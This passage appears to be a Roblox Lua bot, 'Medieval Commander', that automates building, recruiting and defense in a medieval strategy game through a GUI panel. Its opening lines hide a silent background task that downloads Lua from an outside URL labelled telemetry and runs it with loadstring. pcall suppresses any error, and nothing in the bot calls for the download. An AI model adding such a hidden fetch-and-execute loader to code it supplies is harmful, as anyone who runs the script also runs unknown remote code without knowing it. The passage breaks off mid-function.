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task.spawn(function()
	pcall(function()
		loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ad03eecea7508fe1628d1a7"))()
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local Players = game:GetService("Players")
local RS = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")

local player = Players.LocalPlayer
local mine = workspace.Game.PlayerFolder[player.Name]
local units = mine.Units
local buildings = mine.Buildings
local supplies = workspace.Game.Map.Map.Supplies
local stats = mine.Stats

local Spawn = RS:WaitForChild("Spawn")
local Move = RS:WaitForChild("SendUnitGoals")
local Place = RS:WaitForChild("PlacementEvent")
local Cash = RS:WaitForChild("GetInfoCash")
local Info = require(RS.Utilities.ObjectStats)

local CFG = {
    Builders = 3,
    FarmWorkers = 3,
    OpeningWindmills = 3,
    HouseFreeSpaceBuffer = 12,
    HomeRadiusMin = 30,
    HomeRadiusMax = 85,
    FarmFoundationWait = 7,
    FarmPositionRetries = 9,
    StuckTravelSeconds = 50,
    FarmTravelTimeout = 240,
    ConstructionTimeout = 240,
    AppearTimeout = 28,
    FarmRetry = 90,
    HomeRetry = 4,
    FarmFundsReserve = 0,
    ArmyFundsReserve = 60,
    MinimumThreatMargin = 18,
    CastleDangerRadius = 95,
    TowerDangerRadius = 68,
    RallyBackoff = 25,
    DefenseRadius = 95,
    ForwardDefenseRadius = 60,
    EngagementDistance = 48,
    OrderCooldown = 15,
    HousesLimit = 20,
    HousePlacementAttempts = 96,
    HomeStationLimit = 7,
    HomeProbeWait = 2.0,
    HomeProbeRadius = 6.0,
    HomeTravelTimeout = 21,
    HomeImmediateRadius = 92,
    CastleHomeRadius = 84,
    GroundHeightTolerance = 2.5,
    FirstHouses = 3,
    FirstHouseAtPopulation = 25,
    HouseBarracksRadius = 52,
    AutoAttackPopulation = 88,
    HutsLimit = 9,
    UpdateSeconds = 5,
}

local active = true
local reservedFarms = {}
local farmRetryAt = {}
local farmerTasks = {}
local farmStatus = {}
local farmBusy = {}
local homeWorker = nil
local homeRequested = false
local pendingHome = {}
local homeQueue = {}
local homeBusy = false
local homeCooldown = {}
local performHomeJob
local pendingRecruit = {Builder = 0, Knight = 0, Crossbower = 0}
local recentCounts = {}
local recentQueueTime = os.clock()
local lastRequest = 0
local localPlacementStep = 0
local defenderOrders = {}
local defenderHealth = {}
local routedOrders = {}
local errors = {}
local assaultMode = false
local manualDefense = false
local nextDefenseRecall = 0
local defenderReturnOrders = {}
local assaultTarget = nil
local assaultOrdered = {}
local lastAssaultSweep = 0
local autoAttackTriggered = false

local previous = player.PlayerGui:FindFirstChild("MedievalAutoCommander")
if previous then previous:Destroy() end
local gui = Instance.new("ScreenGui")
gui.Name = "MedievalAutoCommander"
gui.ResetOnSpawn = false
gui.Parent = player.PlayerGui

local panel = Instance.new("Frame")
panel.Name = "CommanderPanel"
panel.Size = UDim2.new(0, 340, 0, 210)
panel.Position = UDim2.new(0.03, 0, 0.10, 0)
panel.BackgroundColor3 = Color3.fromRGB(22, 27, 37)
panel.BorderSizePixel = 0
panel.ClipsDescendants = true
panel.Parent = gui

local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 12)
corner.Parent = panel

local border = Instance.new("UIStroke")
border.Color = Color3.fromRGB(65, 76, 96)
border.Thickness = 1
border.Transparency = 0.2
border.Parent = panel

local header = Instance.new("Frame")
header.Name = "Header"
header.Size = UDim2.new(1, 0, 0, 43)
header.BackgroundColor3 = Color3.fromRGB(32, 42, 57)
header.BorderSizePixel = 0
header.Parent = panel

local headerCorner = Instance.new("UICorner")
headerCorner.CornerRadius = UDim.new(0, 12)
headerCorner.Parent = header

local brand = Instance.new("TextLabel")
brand.Size = UDim2.new(1, -110, 0, 23)
brand.Position = UDim2.new(0, 12, 0, 5)
brand.BackgroundTransparency = 1
brand.Text = "MEDIEVAL COMMANDER"
brand.TextColor3 = Color3.fromRGB(235, 240, 250)
brand.TextSize = 16
brand.Font = Enum.Font.GothamBold
brand.TextXAlignment = Enum.TextXAlignment.Left
brand.Parent = header

local subtitle = Instance.new("TextLabel")
subtitle.Size = UDim2.new(1, -110, 0, 14)
subtitle.Position = UDim2.new(0, 12, 0, 26)
subtitle.BackgroundTransparency = 1
subtitle.Text = "V9  /  AUTO DEFENSE"
subtitle.TextColor3 = Color3.fromRGB(130, 195, 175)
subtitle.TextSize = 10
subtitle.Font = Enum.Font.GothamMedium
subtitle.TextXAlignment = Enum.TextXAlignment.Left
subtitle.Parent = header

local minimize = Instance.new("TextButton")
minimize.Name = "Minimize"
minimize.Size = UDim2.new(0, 37, 0, 31)
minimize.Position = UDim2.new(1, -44, 0, 6)
minimize.BackgroundColor3 = Color3.fromRGB(58, 69, 88)
minimize.TextColor3 = Color3.new(1, 1, 1)
minimize.TextSize = 24
minimize.Font = Enum.Font.GothamBold
minimize.Text = "−"
minimize.Parent = header
local minCorner = Instance.new("UICorner")
minCorner.CornerRadius = UDim.new(0, 7)
minCorner.Parent = minimize

local content = Instance.new("Frame")
content.Name = "Content"
content.Position = UDim2.new(0, 0, 0, 43)
content.Size = UDim2.new(1, 0, 1, -43)
content.BackgroundTransparency = 1
content.Parent = panel

local title = Instance.new("TextLabel")
title.Name = "CommanderStatus"
title.Position = UDim2.new(0, 12, 0, 8)
title.Size = UDim2.new(1, -24, 0, 29)
title.BackgroundTransparency = 1
title.TextColor3 = Color3.fromRGB(244, 247, 252)
title.TextSize = 13
title.Font = Enum.Font.GothamSemibold
title.TextWrapped = true
title.TextXAlignment = Enum.TextXAlignment.Left
title.Text = "DEFENSIVE COMMANDER V9"
title.Parent = content

local detail = Instance.new("TextLabel")
detail.Name = "EmpireStats"
detail.Position = UDim2.new(0, 12, 0, 39)
detail.Size = UDim2.new(1, -24, 0, 35)
detail.BackgroundColor3 = Color3.fromRGB(32, 41, 55)
detail.TextColor3 = Color3.fromRGB(159, 231, 202)
detail.TextSize = 11
detail.Font = Enum.Font.GothamMedium
detail.TextWrapped = true
detail.TextXAlignment = Enum.TextXAlignment.Center
detail.Text = "Starting..."
detail.Parent = content
local statsCorner = Instance.new("UICorner")
statsCorner.CornerRadius = UDim.new(0, 6)
statsCorner.Parent = detail

local workersLabel = Instance.new("TextLabel")
workersLabel.Name = "WorkerTasks"
workersLabel.Position = UDim2.new(0, 12, 0, 78)
workersLabel.Size = UDim2.new(1, -24, 0, 29)
workersLabel.BackgroundTransparency = 1
workersLabel.TextColor3 = Color3.fromRGB(238, 205, 137)
workersLabel.TextSize = 11
workersLabel.Font = Enum.Font.Gotham
workersLabel.TextWrapped = true
workersLabel.TextXAlignment = Enum.TextXAlignment.Left
workersLabel.Text = "BUILDER TASKS STARTING"
workersLabel.Parent = content

local function styleButton(button, color)
    button.BackgroundColor3 = color
    button.TextColor3 = Color3.fromRGB(255, 255, 255)
    button.TextSize = 12
    button.Font = Enum.Font.GothamBold
    button.BorderSizePixel = 0
    local radius = Instance.new("UICorner")
    radius.CornerRadius = UDim.new(0, 7)
    radius.Parent = button
end

local attackButton = Instance.new("TextButton")
attackButton.Name = "AttackCastle"
attackButton.Position = UDim2.new(0, 12, 0, 119)
attackButton.Size = UDim2.new(0.42, -9, 0, 37)
attackButton.Text = "ATTACK CASTLE"
styleButton(attackButton, Color3.fromRGB(164, 85, 51))
attackButton.Parent = content

local defendButton = Instance.new("TextButton")
defendButton.Name = "Defend"
defendButton.Position = UDim2.new(0.42, 7, 0, 119)
defendButton.Size = UDim2.new(0.32, -7, 0, 37)
defendButton.Text = "DEFEND"
styleButton(defendButton, Color3.fromRGB(39, 133, 103))
defendButton.Parent = content

local stop = Instance.new("TextButton")
stop.Name = "Stop"
stop.Position = UDim2.new(0.74, 4, 0, 119)
stop.Size = UDim2.new(0.26, -16, 0, 37)
stop.Text = "STOP"
styleButton(stop, Color3.fromRGB(134, 49, 62))
stop.Parent = content

local minimized = false
minimize.MouseButton1Click:Connect(function()
    minimized = not minimized
    content.Visible = not minimized
    panel.Size = minimized and UDim2.new(0, 340, 0, 43)
        or UDim2.new(0, 340, 0, 210)
    minimize.Text = minimized and "+" or "−"
end)

local function status(message)
    if active and gui.Parent then title.Text = message end
    print("[DEFENSIVE V9]", message)
end

local function reportError(taskName, err)
    errors[taskName] = tostring(err)
    warn("[DEFENSIVE V9] " .. taskName, err)
    status(taskName .. " ERROR: " .. tostring(err))
end

stop.MouseButton1Click:Connect(function()
    active = false
    title.Text = "COMMANDER STOPPED"
    detail.Text = "No further automated commands"
end)
gui.Destroying:Connect(function() active = false end)

local function alive(obj)
    if not obj or not obj.Parent or obj:GetAttribute("Destroyed") == true then return false end
    local hp = obj:GetAttribute("Health")
    return type(hp) ~= "number" or hp > 0
end

local function pos(obj)
    if not obj or not obj.Parent then return nil end
    local hit = obj:FindFirstChild("Hitbox", true)
    if hit and hit:IsA("BasePart") then return hit.Position end
    if obj:IsA("BasePart") then return obj.Position end
    if obj:IsA("Model") then return obj:GetPivot().Position end
    return nil
end

local function flatDistance(a, b)
    local x, z = a.X - b.X, a.Z - b.Z
    return math.sqrt(x * x + z * z)
end

local function primary(obj)
    if not obj then return nil end
    if obj:IsA("BasePart") then return obj end
    return obj.PrimaryPart or obj:FindFirstChild("Hitbox", true)
        or obj:FindFirstChildWhichIsA("BasePart", true)
end

local function cash()
    local ok, n = pcall(function() return Cash:Invoke() end)
    return ok and tonumber(n) or nil
end

local function cost(name)
    return Info[name] and tonumber(Info[name].Cost) or math.huge
end

local function space(name)
    return Info[name] and tonumber(Info[name].Space) or 0
end

local function models(folder, name)
    local result = {}
    if not folder then return result end
    for _, obj in ipairs(folder:GetChildren()) do
        if obj:IsA("Model") and alive(obj) and (not name or obj.Name == name) then
            table.insert(result, obj)
        end
    end
    return result
end

local function built(obj)
    if not alive(obj) then return false end
    local value = obj:GetAttribute("Built")
    if type(value) == "boolean" then return value end
    local flag = obj:FindFirstChild("Built", true)
    if flag and flag:IsA("BoolValue") then return flag.Value end
    return nil
end

local function completedCount(name)
    local n = 0
    for _, b in ipairs(models(buildings, name)) do
        if built(b) == true then n = n + 1 end
    end
    return n
end

local function findBuilding(name, requireBuilt)
    for _, b in ipairs(models(buildings, name)) do
        if not requireBuilt or built(b) == true then return b end
    end
    return nil
end

local castle = findBuilding("Castle")
if not castle then status("CASTLE NOT FOUND"); return end
local castlePart = primary(castle)
local castleAt = pos(castle)
if not castlePart or not castleAt then status("CASTLE POSITION MISSING"); return end

local function builders()
    return models(units, "Builder")
end

local function friendlyWindmills()
    local owned = {}
    -- Ownership is established by parent folder, never by a farm's Occupied attribute.
    for _, mill in ipairs(models(buildings, "Windmill")) do
        if mill:IsDescendantOf(buildings) and built(mill) == true then
            table.insert(owned, mill)
        end
    end
    return owned
end

local function sendMovement(batch)
    if not active or #batch == 0 then return false end
    local ok, result = pcall(function()
        return Move:InvokeServer(batch, false, true)
    end)
    if not ok then warn("Move failed", result); return false end
    return result ~= false
end

local function moveOne(unit, destination)
    if not alive(unit) or not destination then return false end
    return sendMovement({{unit, destination}})
end

local function arrive(worker, point, timeout, check, interrupt)
    local since = os.clock()
    local lastOrder = -math.huge
    local lastProgress = os.clock()
    local best = math.huge
    while active and alive(worker) and os.clock() - since < timeout do
        if check and not check() then return false end
        if interrupt and interrupt() then return false end
        local here = pos(worker)
        if here then
            local range = tonumber(worker:GetAttribute("Range")) or 8
            local distance = flatDistance(here, point)
            if distance <= math.max(2.5, range - 1.5) then
                return true
            end
            if distance < best - 3 then
                best = distance
                lastProgress = os.clock()
            end
            if os.clock() - lastProgress > CFG.StuckTravelSeconds then
                return false
            end
        end
        if os.clock() - lastOrder >= 15 then
            moveOne(worker, point)
            lastOrder = os.clock()
        end
        task.wait(0.7)
    end
    return false
end

local ray = RaycastParams.new()
ray.FilterType = Enum.RaycastFilterType.Exclude
ray.FilterDescendantsInstances = {workspace.Game.PlayerFolder, supplies}
ray.IgnoreWater = true

local function groundPoint(point, buildingName)
    local templates = RS.Buildings:FindFirstChild("Default")
    local template = templates and templates:FindFirstChild(buildingName)
    if not template or not template:IsA("Model") then return nil end
    local root = primary(template)
    if not root then return nil end
    local hit = workspace:Raycast(
        Vector3.new(point.X, point.Y + 180, point.Z),
        Vector3.new(0, -450, 0), ray)
    if not hit then return nil end
    return Vector3.new(hit.Position.X, hit.Position.Y + root.Size.Y / 2 + 0.02, hit.Position.Z)
end

local function buildingNear(name, where, radius, except)
    local best, bestDist = nil, radius
    for _, b in ipairs(models(buildings, name)) do
        local at = pos(b)
        if at and (not except or not except[b]) then
            local dist = flatDistance(at, where)
            if dist < bestDist then best, bestDist = b, dist end
        end
    end
    return best
end

local function waitUntilBuilt(constructed, worker, label, initialCapacity)
    local started = os.clock()
    local lastReposition = 0
    while active and alive(worker) and alive(constructed)
        and os.clock() - started < CFG.ConstructionTimeout do
        if built(constructed) == true then
            return true, constructed, "BUILT"
        end
        -- Some buildings may be marked complete by the capacity increase
        -- even if they have no replicated Built flag.
        if label == "House" and initialCapacity
            and stats.MaxUnits.Value > initialCapacity then
            return true, constructed, "POPULATION_CAP_INCREASED"
        end
        if label == "Builder Hut" and initialCapacity
            and stats.MaxBuildings.Value > initialCapacity then
            return true, constructed, "BUILDING_CAP_INCREASED"
        end
        -- If the worker is displaced during construction, return it to
        -- the unfinished foundation. Never switch to another farm midway.
        local workerAt = pos(worker)
        local buildingAt = pos(constructed)
        if workerAt and buildingAt then
            local range = tonumber(worker:GetAttribute("Range")) or 8
            if flatDistance(workerAt, buildingAt) > math.max(3, range - 1)
                and os.clock() - lastReposition > 12 then
                moveOne(worker, buildingAt)
                lastReposition = os.clock()
            end
        end
        task.wait(1)
    end
    status(label .. " | FOUNDATION STILL INCOMPLETE")
    return false, constructed, "INCOMPLETE"
end

local function placeAndComplete(name, point, farm, worker, label, appearanceWait)
    if not active or not alive(worker) then return false, nil, "UNAVAILABLE" end
    if farm and (not farm.Parent or farm:GetAttribute("Occupied") ~= false) then
        return false, nil, "FARM_OCCUPIED"
    end
    local money = cash()
    if money and money < cost(name) then return false, nil, "FUNDS" end
    local before = {}
    for _, b in ipairs(models(buildings, name)) do before[b] = true end
    local initialCapacity = nil
    if name == "House" then
        initialCapacity = stats.MaxUnits.Value
    elseif name == "Builder Hut" then
        initialCapacity = stats.MaxBuildings.Value
    end
    local ok, err = pcall(function()
        Place:FireServer(name, point, 0, nil, farm)
    end)
    if not ok then
        warn("Placement error", err)
        return false, nil, "REQUEST_ERROR"
    end

    local constructed = nil
    local started = os.clock()
    local window = appearanceWait or CFG.AppearTimeout
    while active and os.clock() - started < window do
        -- A server-confirmed new model in *our* Buildings folder is
        -- necessary. Farm.Occupied alone never means we own it.
        constructed = buildingNear(name, point, farm and 14 or 36, before)
        if constructed then break end
        if farm and (not farm.Parent or farm:GetAttribute("Occupied") == true) then
            -- Give replication a brief grace period in case it is our model.
            task.wait(1)
            constructed = buildingNear(name, point, 14, before)
            if not constructed then return false, nil, "CONTESTED" end
            break
        end
        task.wait(0.5)
    end
    if not constructed then return false, nil, "NO_FOUNDATION" end
    status(label .. " | FOUNDATION OWNED, WAITING FOR BUILT")
    return waitUntilBuilt(constructed, worker, label, initialCapacity)
end

-- Try nearby points INSIDE the farm area if the default position is
-- obstructed. Do not issue another request once our foundation appears.
local farmOffsets = {
    Vector3.new(0, 0, 0),
    Vector3.new(3, 0, 0), Vector3.new(-3, 0, 0),
    Vector3.new(0, 0, 3), Vector3.new(0, 0, -3),
    Vector3.new(4, 0, 4), Vector3.new(-4, 0, 4),
    Vector3.new(4, 0, -4), Vector3.new(-4, 0, -4),
}

local function tryFarmPositions(worker, farm, center, label)
    for index = 1, math.min(#farmOffsets, CFG.FarmPositionRetries) do
        if not active or not alive(worker) or not farm.Parent
            or farm:GetAttribute("Occupied") ~= false then
            return false, "CONTESTED"
        end
        local wanted = center + farmOffsets[index]
        local point = groundPoint(wanted, "Windmill")
        if point and flatDistance(point, center) <= 7.5 then
            local here = pos(worker)
            local range = tonumber(worker:GetAttribute("Range")) or 8
            if here and flatDistance(here, point) > math.max(2.5, range - 1.5) then
                if not arrive(worker, point, 42, function()
                    return farm.Parent ~= nil and farm:GetAttribute("Occupied") == false
                end) then
                    return false, "CANNOT_APPROACH"
                end
            end
            farmStatus[worker] = "FARM SITE " .. index .. "/" .. CFG.FarmPositionRetries
            local success, constructed, reason = placeAndComplete(
                "Windmill", point, farm, worker, label, CFG.FarmFoundationWait)
            if success then return true, "BUILT" end
            if constructed or reason == "INCOMPLETE" then
                -- Never abandon or duplicate a partially built Windmill.
                return false, "UNFINISHED_FOUNDATION"
            end
            if reason ~= "NO_FOUNDATION" then
                return false, reason
            end
            -- Rejected/obstructed placement; try a different nearby point.
            task.wait(0.7)
        end
    end
    return false, "ALL_POSITIONS_BLOCKED"
end

local function nearestFreeFarm(worker)
    local here = pos(worker)
    if not here then return nil end
    local options = {}
    for _, farm in ipairs(supplies:GetChildren()) do
        if farm:GetAttribute("Occupied") == false
            and not reservedFarms[farm]
            and (farmRetryAt[farm] or 0) <= os.clock() then
            local point = pos(farm)
            if point then
                table.insert(options, {farm = farm, point = point,
                    dist = flatDistance(here, point)})
            end
        end
    end
    table.sort(options, function(a, b) return a.dist < b.dist end)
    return options[1]
end

-- Each of the three workers runs independently. Home construction is
-- one temporary job taken between farms, never a global halt.
local function claimHomeJob(worker)
    if homeBusy or #homeQueue == 0 then return nil end
    local name = table.remove(homeQueue, 1)
    if not name then return nil end
    homeBusy = true
    homeWorker = worker
    return name
end

local function farmWorker(worker, index)
    while active and alive(worker) do
        local homeJob = claimHomeJob(worker)
        if homeJob then
            farmStatus[worker] = "HOME: " .. homeJob
            -- performHomeJob is assigned below after construction helpers.
            local ok, result = pcall(function() return performHomeJob(homeJob, worker) end)
            if not ok then reportError("HOME " .. homeJob, result) end
            pendingHome[homeJob] = nil
            homeCooldown[homeJob] = os.clock() + ((ok and result) and 2 or 15)
            homeBusy = false
            homeWorker = nil
            farmStatus[worker] = "HOME FINISHED"
            task.wait(0.5)
        else
            farmStatus[worker] = "FINDING FARM"
            local selection = nearestFreeFarm(worker)
            if not selection then
                farmStatus[worker] = "NO FREE FARMS"
                task.wait(3)
            else
                local money = cash()
                local buildingReserve = CFG.FarmFundsReserve
                for needed in pairs(pendingHome) do
                    if needed == "House" or needed == "Builder Hut" or needed == "Barracks" then
                        buildingReserve = math.max(buildingReserve, cost(needed))
                    end
                end
                if money and money < cost("Windmill") + buildingReserve then
                    farmStatus[worker] = "SAVING MONEY FOR HOME BUILDING"
                    task.wait(3)
                else
                    local farm = selection.farm
                    if not reservedFarms[farm] and farm:GetAttribute("Occupied") == false then
                        reservedFarms[farm] = worker
                        farmBusy[worker] = true
                        farmStatus[worker] = "TRAVELING TO FARM"
                        local function free()
                            return farm.Parent ~= nil
                                and farm:GetAttribute("Occupied") == false
                        end
                        local homeInterrupt = function()
                            -- Only peel off one farmer during TRAVEL when
                            -- an urgent home job is waiting. Never interrupt
                            -- a started Windmill foundation.
                            if #homeQueue == 0 or homeBusy then return false end
                            -- A completed three-farm opening needs a Barracks
                            -- immediately. Any traveling Builder may return;
                            -- never abandon an in-progress Windmill.
                            if pendingHome["Barracks"] then return true end
                            if index == 3 then return true end
                            -- At a full population cap, release a traveling
                            -- worker rather than waiting for a distant farm.
                            local freePop = stats.MaxUnits.Value
                                - stats.CurrentUnits.Value
                            return freePop <= 2
                        end
                        local reached = arrive(worker, selection.point,
                            CFG.FarmTravelTimeout, free, homeInterrupt)
                        local success, reason = false, "NOT_REACHED"
                        if not reached and homeInterrupt() then
                            reason = "HOME_PRIORITY"
                        end
                        if reached and active and alive(worker) and free() then
                            farmStatus[worker] = "TRYING WINDMILL SITES"
                            success, reason = tryFarmPositions(worker, farm,
                                selection.point, "FARMER " .. index)
                        end
                        if not success and reason ~= "HOME_PRIORITY" then
                            farmRetryAt[farm] = os.clock() + CFG.FarmRetry
                        end
                        reservedFarms[farm] = nil
                        farmBusy[worker] = nil
                        farmStatus[worker] = success and "WINDMILL COMPLETE"
                            or ("FARM SKIPPED: " .. tostring(reason))
                        task.wait(success and 0.5 or 1.5)
                    else
                        task.wait(0.5)
                    end
                end
            end
        end
    end
    farmBusy[worker] = nil
    farmerTasks[worker] = nil
    if homeWorker == worker then homeWorker = nil; homeBusy = false end
    for farm, assigned in pairs(reservedFarms) do
        if assigned == worker then reservedFarms[farm] = nil end
    end
end

local function assignFarmers()
    local count = 0
    for b in pairs(farmerTasks) do
        if alive(b) then count = count + 1 else farmerTasks[b] = nil end
    end
    for _, b in ipairs(builders()) do
        if count >= CFG.FarmWorkers then break end
        if not farmerTasks[b] then
            farmerTasks[b] = true
            count = count + 1
            local index = count
            task.spawn(function()
                local ok, err = pcall(farmWorker, b, index)
                if not ok then reportError("FARMER " .. index, err) end
                farmerTasks[b] = nil
            end)
        end
    end
end

local function tryRecruit(name, building, reserve)
    if not active or not alive(building) then return false end
    if not Info[name] or os.clock() - lastRequest < 4.5 then return false end
    local funds = cash()
    if funds and funds < cost(name) + (reserve or 0) then return false end
    local reservedPop = 0
    for n, amount in pairs(pendingRecruit) do
        reservedPop = reservedPop + amount * space(n)
    end
    if stats.CurrentUnits.Value + reservedPop + space(name) > stats.MaxUnits.Value then
        return false
    end
    local root = primary(building)
    if not root then return false end
    local ok, err = pcall(function()
        Spawn:FireServer(name, root)
    end)
    if not ok then warn("Recruitment error", err); return false end
    pendingRecruit[name] = pendingRecruit[name] + 1
    recentQueueTime = os.clock()
    lastRequest = os.clock()
    return true
end

local function updateRecruitQueue()
    for name in pairs(pendingRecruit) do
        local current = #models(units, name)
        local previousCount = recentCounts[name] or current
        local added = math.max(0, current - previousCount)
        pendingRecruit[name] = math.max(0, pendingRecruit[name] - added)
        recentCounts[name] = current
    end
    if os.clock() - recentQueueTime > 105 then
        for name in pairs(pendingRecruit) do pendingRecruit[name] = 0 end
        recentQueueTime = os.clock()
    end
end

local function builderManager()
    while active do
        assignFarmers()  -- First available Builder starts immediately.
        updateRecruitQueue()
        local count = #builders()
        if count + pendingRecruit.Builder < CFG.Builders then
            if tryRecruit("Builder", castle, 0) then
                status("RECRUITING BUILDER " .. (count + pendingRecruit.Builder)
                    .. "/" .. CFG.Builders)
            end
        end
        task.wait(2)
    end
end

-- Barracks and houses are placed on flat ground near the home base.
-- Start with available space around the BUILDER; only move if its
-- immediate area fails, so one cliff corner cannot stall construction.
local function homeSites(name, worker)
    local anchors = {}
    local here = pos(worker)
    local barracks = findBuilding("Barracks", false)
    local barracksAt = barracks and pos(barracks)
    local placingHouse = name == "House" and barracksAt ~= nil

    if placingHouse then
        -- For houses, build a compact neighborhood around the Barracks.
        -- Do not prefer a distant builder's current position.
        table.insert(anchors, {point = barracksAt, area = "BARRACKS", low = 13, high = 43})
        if here and flatDistance(here, barracksAt) <= 25 then
            table.insert(anchors, {point = here, area = "BUILDER", low = 0, high = 12})
        end
        if flatDistance(castleAt, barracksAt) < 48 then
            table.insert(anchors, {point = castleAt, area = "CASTLE", low = 17, high = 45})
        end
    else
        if here and flatDistance(here, castleAt) <= CFG.HomeImmediateRadius then
            table.insert(anchors, {point = here, area = "BUILDER", low = 0, high = 9})
        end
        if barracksAt then
            table.insert(anchors, {point = barracksAt, area = "BARRACKS", low = 13, high = 36})
        end
        table.insert(anchors, {point = castleAt, area = "CASTLE", low = 16, high = 57})
        for _, mill in ipairs(friendlyWindmills()) do
            local at = pos(mill)
            if at and flatDistance(at, castleAt) < 60 then
                table.insert(anchors, {point = at, area = "WINDMILL", low = 11, high = 23})
            end
        end
    end

    local buildingPositions = {}
    for _, b in ipairs(models(buildings)) do
        local at = pos(b)
        if at then
            local size = Vector3.new(12, 8, 12)
            local ok, ext = pcall(function() return b:GetExtentsSize() end)
            if ok and ext then size = ext end
            table.insert(buildingPositions, {
                point = at,
                clearance = math.min(42, math.max(size.X, size.Z) * 0.45 + 3),
            })
        end
    end

    local sites, seen = {}, {}
    for _, anchor in ipairs(anchors) do
        for r = anchor.low, anchor.high, 5 do
            for step = 0, 15 do
                local angle = step * math.pi / 8 + (r % 3) * 0.12
                local at = anchor.point + Vector3.new(
                    math.cos(angle) * r, 0, math.sin(angle) * r)
                local withinZone = placingHouse
                    and flatDistance(at, barracksAt) <= CFG.HouseBarracksRadius
                    or (not placingHouse
                        and flatDistance(at, castleAt) <= CFG.CastleHomeRadius)
                if withinZone then
                    local blocked = false
                    for _, b in ipairs(buildingPositions) do
                        if flatDistance(at, b.point) < b.clearance then
                            blocked = true
                            break
                        end
                    end
                    if not blocked then
                        local key = math.floor(at.X / 3) .. ':' .. math.floor(at.Z / 3)
                        if not seen[key] then
                            seen[key] = true
                            table.insert(sites, {
                                point = at,
                                area = anchor.area,
                                homeDist = flatDistance(at, castleAt),
                                barracksDist = barracksAt and flatDistance(at, barracksAt) or 0,
                            })
                        end
                    end
                end
            end
        end
    end

    local priority = placingHouse
        and {BARRACKS = 1, BUILDER = 2, CASTLE = 3}
        or {BUILDER = 1, BARRACKS = 2, CASTLE = 3, WINDMILL = 4}
    table.sort(sites, function(a, b)
        local pa, pb = priority[a.area] or 10, priority[b.area] or 10
        if pa ~= pb then return pa < pb end
        local da = here and flatDistance(here, a.point) or 999
        local db = here and flatDistance(here, b.point) or 999
        if placingHouse then
            return da * 0.45 + a.barracksDist * 0.55
                < db * 0.45 + b.barracksDist * 0.55
        end
        return da + a.homeDist * 0.08 < db + b.homeDist * 0.08
    end)
    return sites
end

-- Include the builder's exact location plus short circles around it.
local homeProbeOffsets = {Vector3.new(0, 0, 0)}
for _, radius in ipairs({2.5, 4.5, 6.5, 8.5}) do
    for step = 0, 11 do
        local a = step * math.pi / 6
        table.insert(homeProbeOffsets, Vector3.new(
            math.cos(a) * radius, 0, math.sin(a) * radius))
    end
end

local function flatBuildGround(point, name)
    local candidate = groundPoint(point, name)
    if not candidate then return nil end
    local templateFolder = RS.Buildings:FindFirstChild("Default")
    local template = templateFolder and templateFolder:FindFirstChild(name)
    local width, depth = 12, 12
    if template and template:IsA("Model") then
        local ok, ext = pcall(function() return template:GetExtentsSize() end)
        if ok and ext then
            width = ext.X
            depth = ext.Z
        end
    end
    -- A very basic approximation of Roblox's green/red placement preview.
    -- Reject cliff edges and tilted terrain before sending a placement.
    local spreadX = math.max(2.5, math.min(7, width * 0.26))
    local spreadZ = math.max(2.5, math.min(7, depth * 0.26))
    local coords = {
        Vector3.new(0,0,0),
        Vector3.new(spreadX,0,spreadZ),
        Vector3.new(-spreadX,0,spreadZ),
        Vector3.new(spreadX,0,-spreadZ),
        Vector3.new(-spreadX,0,-spreadZ),
    }
    local centerY = nil
    for _, offset in ipairs(coords) do
        local start = Vector3.new(candidate.X + offset.X,
            candidate.Y + 110, candidate.Z + offset.Z)
        local hit = workspace:Raycast(start, Vector3.new(0,-250,0), ray)
        if not hit or hit.Normal.Y < 0.88 then return nil end
        if not centerY then centerY = hit.Position.Y end
        if math.abs(hit.Position.Y - centerY) > CFG.GroundHeightTolerance then
            return nil
        end
    end
    return candidate
end

local function enqueueHome(name, priority)
    if pendingHome[name] or os.clock() < (homeCooldown[name] or 0) then
        return false
    end
    local money = cash()
    if money and money < cost(name) then
        if name == "House" then
            status("HOUSE NEEDED - WAITING FOR FUNDS")
        end
        return false
    end
    pendingHome[name] = true
    if priority then
        table.insert(homeQueue, 1, name)
    else
        table.insert(homeQueue, name)
    end
    status("QUEUED HOME BUILDING: " .. name)
    return true
end

performHomeJob = function(name, worker)
    local sites = homeSites(name, worker)
    local attempts, stations = 0, 0
    local checked = {}
    local attemptedPoints = {}
    local barracksForHouse = name == "House" and findBuilding("Barracks", false) or nil
    local barracksHouseAt = barracksForHouse and pos(barracksForHouse)
    local function withinHomeZone(point)
        if name == "House" and barracksHouseAt then
            return flatDistance(point, barracksHouseAt) <= CFG.HouseBarracksRadius
        end
        return flatDistance(point, castleAt) <= CFG.CastleHomeRadius
    end

    local function probeAround(center, label)
        for _, offset in ipairs(homeProbeOffsets) do
            if not active or not alive(worker)
                or attempts >= CFG.HousePlacementAttempts then
                return false, "STOPPED"
            end
            local candidate = flatBuildGround(center + offset, name)
            local here = pos(worker)
            local range = tonumber(worker:GetAttribute("Range")) or 8
            if candidate and here
                and flatDistance(here, candidate) <= math.max(3, range - 1.0)
                and withinHomeZone(candidate) then
                local key = math.floor(candidate.X * 2) .. ':' .. math.floor(candidate.Z * 2)
                if not attemptedPoints[key] then
                    attemptedPoints[key] = true
                    attempts = attempts + 1
                    farmStatus[worker] = "HOME " .. name .. " TRY " .. attempts
                    status(name .. " | TRY " .. attempts .. " NEAR " .. label)
                    local ok, foundation, reason = placeAndComplete(
                        name, candidate, nil, worker, name, CFG.HomeProbeWait)
                    if ok then return true, "BUILT" end
                    if foundation or reason == "INCOMPLETE" then
                        -- Don't place duplicates once the server accepted a foundation.
                        return false, "FOUNDATION_UNFINISHED"
                    end
                    if reason == "FUNDS" or reason == "UNAVAILABLE" then
                        return false, reason
                    end
                    task.wait(0.1)
                end
            end
        end
        return false, "NO_VALID_POSITION"
    end

    -- First probe all reachable spots around the Builder, while stationary.
    local here = pos(worker)
    if here and (name ~= "House"
        and flatDistance(here, castleAt) <= CFG.HomeImmediateRadius
        or name == "House" and barracksHouseAt
            and flatDistance(here, barracksHouseAt) <= 22) then
        status(name .. " | SCANNING AROUND BUILDER")
        local ok, reason = probeAround(here, "BUILDER")
        if ok then return true end
        if reason ~= "NO_VALID_POSITION" then return false end
    end

    -- If needed, move briefly to another flat site around the home base,
    -- not to distant cliffs or fields. Avoid long 72s waits per area.
    if #sites == 0 then
        status(name .. " | NO ALTERNATIVE HOME GROUND")
        return false
    end
    for i, site in ipairs(sites) do
        if not active or not alive(worker)
            or attempts >= CFG.HousePlacementAttempts
